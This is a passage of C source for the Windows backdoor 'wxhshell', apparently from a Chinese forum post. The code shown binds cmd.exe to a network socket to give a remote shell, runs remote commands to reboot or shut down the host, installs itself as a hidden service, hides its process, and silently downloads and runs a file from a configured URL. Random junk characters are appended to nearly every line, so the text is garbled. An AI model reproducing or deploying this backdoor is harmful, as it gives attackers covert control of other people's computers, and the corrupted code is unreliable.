  case '?': { )*,/L <  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ D+ftb/  
    break; 'Wonz<{'  
  } UkV?,P@l  
  // 安装 (C2 XFg_  
  case 'i': { Nk`UQ~g$  
    if(Install()) Hd|l6/[xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p5Q]/DhG  
    else f^WTsh]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); --$o$EP`  
    break; 1^p/#jt  
    } iTVe8eI  
  // 卸载 I$n= >s  
  case 'r': { d"$8-_K  
    if(Uninstall()) "n-'?W!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S;Bk/\2  
    else y}Ky<%A!P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n\#YGL<n  
    break; 29R-Up!SVN  
    } W L$^B@gXQ  
  // 显示 wxhshell 所在路径 INZVe(z  
  case 'p': { yqK4 "F&  
    char svExeFile[MAX_PATH]; qfkHGW?1/j  
    strcpy(svExeFile,"\n\r"); |.IH4 K  
      strcat(svExeFile,ExeFile); ^S9y7b^;r  
        send(wsh,svExeFile,strlen(svExeFile),0); h`fVQN.3  
    break; CUA @CZ6{  
    } }2A6W%^>]  
  // 重启 =lXj%V^8N  
  case 'b': { Gn]36~)*H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .p`4>XA  
    if(Boot(REBOOT)) g8),$:Uw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )^h6'h`  
    else { cH]tZ$E`  
    closesocket(wsh); dn6B43w  
    ExitThread(0); KWwtL"3  
    } W+XWS,(  
    break; 7\u+%i;YZ  
    } zd?@xno  
  // 关机 J( }2Ua_  
  case 'd': { @u3`lhUcT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^6 6!f 5^W  
    if(Boot(SHUTDOWN)) H^_,e= j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!A20Bv  
    else { tiK?VwaKI  
    closesocket(wsh);  s>rR\`  
    ExitThread(0); ejRK-!  
    } ajbe7#}  
    break; ijI/z5  
    } k15vs  
  // 获取shell )fH Q7  
  case 's': { -! \3;/  
    CmdShell(wsh); \?:L>-&h8  
    closesocket(wsh); h\m35'v!  
    ExitThread(0); gjF5~ `  
    break; <J[ le=  
  } ? @V R%z  
  // 退出 fS]& ?$q  
  case 'x': { :d mE/Tq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FR(W.5[  
    CloseIt(wsh); =O/Bte.  
    break; O9gq <d  
    } TyxIlI4"  
  // 离开 l =^A41L_  
  case 'q': { vccWe7rh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LyUn!zV$(  
    closesocket(wsh); BEZ~<E&0H  
    WSACleanup(); 1I Yip\:lS  
    exit(1); D+8d^-:  
    break; w$gvgz  
        } R^Rc!G}  
  } `i{d"H0E  
  } B`tq*T%  
y48]|%73  
  // 提示信息 a|ftl&uk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KaIKb=4L|  
} V>$( N/1  
  } "SF0b jG9C  
Y~~Dg?e  
  return; 9#LMK 1ge  
} ,OZ  
.^YxhUH,G  
// shell模块句柄 p_r`"  
int CmdShell(SOCKET sock) $QX$rN  
{ @xG&K{j  
STARTUPINFO si; Z\$Hg G  
ZeroMemory(&si,sizeof(si)); uL'f8Pqg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N_t,n^i9>*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (1/Sf&2i  
PROCESS_INFORMATION ProcessInfo; OhF55,[  
char cmdline[]="cmd"; DF%d/a{]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3)OZf{D[  
  return 0; #86N !&x  
} %cNN<x8  
;5a$ OM  
// 自身启动模式 mrGV{{.  
int StartFromService(void) -15e  
{ s8j |>R|k  
typedef struct 5zuwqOD*  
{ sYTz6-  
  DWORD ExitStatus; lR(9;3  
  DWORD PebBaseAddress; MB}nn&u#  
  DWORD AffinityMask; M!mL/*G@YE  
  DWORD BasePriority; Q G) s  
  ULONG UniqueProcessId; j:9M${~  
  ULONG InheritedFromUniqueProcessId; HKN|pO3v  
}   PROCESS_BASIC_INFORMATION; %V_ XY+o  
dQX-s=XJ  
PROCNTQSIP NtQueryInformationProcess; D{9a'0J  
egmUUuO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zcpL[@B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dg D-"-O  
mY|c7}>V;  
  HANDLE             hProcess; sA0 Ho6  
  PROCESS_BASIC_INFORMATION pbi; zI88IM7/  
!E7gI qo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fwm$0=BXL  
  if(NULL == hInst ) return 0; /%$Zm^8c  
LUbhTc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iUKjCq02  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U#<d",I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .[={Yx0!I  
Po>6I0y  
  if (!NtQueryInformationProcess) return 0; SA, ~q&  
t@KTiJI ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q|5WHB  
  if(!hProcess) return 0; a=S &r1s>  
Z'o0::k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  31n"w;  
vE]ge  
  CloseHandle(hProcess); ~Nh6po{  
F`}'^>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [d`Jw/4n  
if(hProcess==NULL) return 0; #83   
@kXuC<  
HMODULE hMod; =dm9+ff  
char procName[255]; =fSTncq  
unsigned long cbNeeded; o)Q4+njT@  
XY0kd&N8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3 9 8)\3o  
UrniJB]  
  CloseHandle(hProcess); :kZ]Swi 5  
*h^->+0n  
if(strstr(procName,"services")) return 1; // 以服务启动 lM-\:Q!  
cGot0' mB  
  return 0; // 注册表启动 deVd87;@7[  
} }OkzP)(  
.0Ud?v>=  
// 主模块 6:_~-xG  
int StartWxhshell(LPSTR lpCmdLine) 3mgvWR  
{ k-$Acv(  
  SOCKET wsl; _z_YJ7A>  
BOOL val=TRUE; `&;#A*C0  
  int port=0; ^!['\  
  struct sockaddr_in door; !D22HSv(w  
a[ULSYEi  
  if(wscfg.ws_autoins) Install(); lp*5;Ls'q  
NF$6yv9C  
port=atoi(lpCmdLine); %Tp9G Gt  
#rHMf%0  
if(port<=0) port=wscfg.ws_port; OPvPP>0*8  
mQj#\<*  
  WSADATA data; 4vg,g(qi<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O"9t,B>=i  
o!xCM:+J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oKGH|iVEe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =i~ = |K!  
  door.sin_family = AF_INET; @= <{_p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l,n_G/\  
  door.sin_port = htons(port); Vmz#u1gGT6  
y)r`<B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o*T?f)_[p  
closesocket(wsl); .M6. ]H  
return 1; GTs,?t16/  
} tmGhJZ2j  
GEPWb[Oa  
  if(listen(wsl,2) == INVALID_SOCKET) { `n+uA ~  
closesocket(wsl); !&%KJS6p4  
return 1; pI@71~|R  
} l6zAMyau5  
  Wxhshell(wsl); EXdX%T\  
  WSACleanup(); ^%oH LsY9  
h(WlJCln  
return 0; /OKp(u;)z  
a- *sm~u  
} %+r(*Q+0$f  
^;II@n i  
// 以NT服务方式启动 "t2T*'j{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zkt~[-jm}  
{ CW`^fI9H  
DWORD   status = 0; Zl_sbIY  
  DWORD   specificError = 0xfffffff; N\|B06X  
1D%P;eUDp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^|/<e?~I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HOD?i_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jS,Pu%fR  
  serviceStatus.dwWin32ExitCode     = 0; c[J 2;"SP  
  serviceStatus.dwServiceSpecificExitCode = 0; fwpp qIM  
  serviceStatus.dwCheckPoint       = 0; CW;zviH5  
  serviceStatus.dwWaitHint       = 0; CfOyHhhKX  
X8}r= K~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l(Y32]Z   
  if (hServiceStatusHandle==0) return; \]Y<d  
Tp;W  
status = GetLastError(); \m`IgP*  
  if (status!=NO_ERROR) TT/=0^"  
{ =u0=)\0@r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZW M:Wj192  
    serviceStatus.dwCheckPoint       = 0; 5ncW s)  
    serviceStatus.dwWaitHint       = 0; 1uo |a  
    serviceStatus.dwWin32ExitCode     = status; b$w66q8  
    serviceStatus.dwServiceSpecificExitCode = specificError; iBWzxPv:z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LBio$67F  
    return; nA Nl9;G  
  } 4=MVn  
'4{@F~fu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~vP_c(8f  
  serviceStatus.dwCheckPoint       = 0; f*@ :,4@  
  serviceStatus.dwWaitHint       = 0; qX&+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .0nT*LF  
} `LH9@Z{  
t:dvgRJt*  
// 处理NT服务事件,比如:启动、停止 QAI=nrlp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,T;sWl  
{ bLTX_ R  
switch(fdwControl) W'Gh:73'}  
{ \*PE#RB#6  
case SERVICE_CONTROL_STOP: ||2%N/?  
  serviceStatus.dwWin32ExitCode = 0; uWGp>;meO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *7*_QW%?A  
  serviceStatus.dwCheckPoint   = 0; eDo4>k"5  
  serviceStatus.dwWaitHint     = 0; QVn2`hr  
  { }P=FMme{F(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -/3h&g  
  } lBn<\Y!^  
  return; !B[ Y?b:  
case SERVICE_CONTROL_PAUSE: e_Zs4\^ef  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C&F% j.<  
  break; kFJ]F |^7  
case SERVICE_CONTROL_CONTINUE: 7<kr|-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w2$ L;q  
  break; 2C0j.Ib  
case SERVICE_CONTROL_INTERROGATE: 2SC'Z>A  
  break; p;[.&o J  
}; H/f}t w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,>g( %3C  
} PazWMmI  
:z?T /9,C  
// 标准应用程序主函数 zCq6k7u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WKr4S<B8mr  
{ L9[m/(:y  
^`-Hg=d  
// 获取操作系统版本 %jUZc:06  
OsIsNt=GetOsVer(); E.'6p \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .K940& Ui  
qoan<z7  
  // 从命令行安装 `U?S 9m  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^=I[uX-3ue  
sS)tSt{C  
  // 下载执行文件 zv1,DnkqF  
if(wscfg.ws_downexe) { $IKN7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bq7()ocA  
  WinExec(wscfg.ws_filenam,SW_HIDE); M#o=.,  
} Q0 PqyobD  
C _W]3  
if(!OsIsNt) { Q#*qPg s  
// 如果时win9x,隐藏进程并且设置为注册表启动 P^ -x  
HideProc(); Ty 6XU!  
StartWxhshell(lpCmdLine); aF=;v*  
} nP=/XiCj  
else a$"Z\F:x  
  if(StartFromService()) 4/o9K*M+  
  // 以服务方式启动 54JI/!a  
  StartServiceCtrlDispatcher(DispatchTable); p<VW;1bt5  
else 4J[bh  
  // 普通方式启动 v&^N+>p  
  StartWxhshell(lpCmdLine); RplcM%YJn  
EY1L5 Ba.  
return 0; Y\H4.$V  
}
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只看该作者 1 发表于: 2006-10-10
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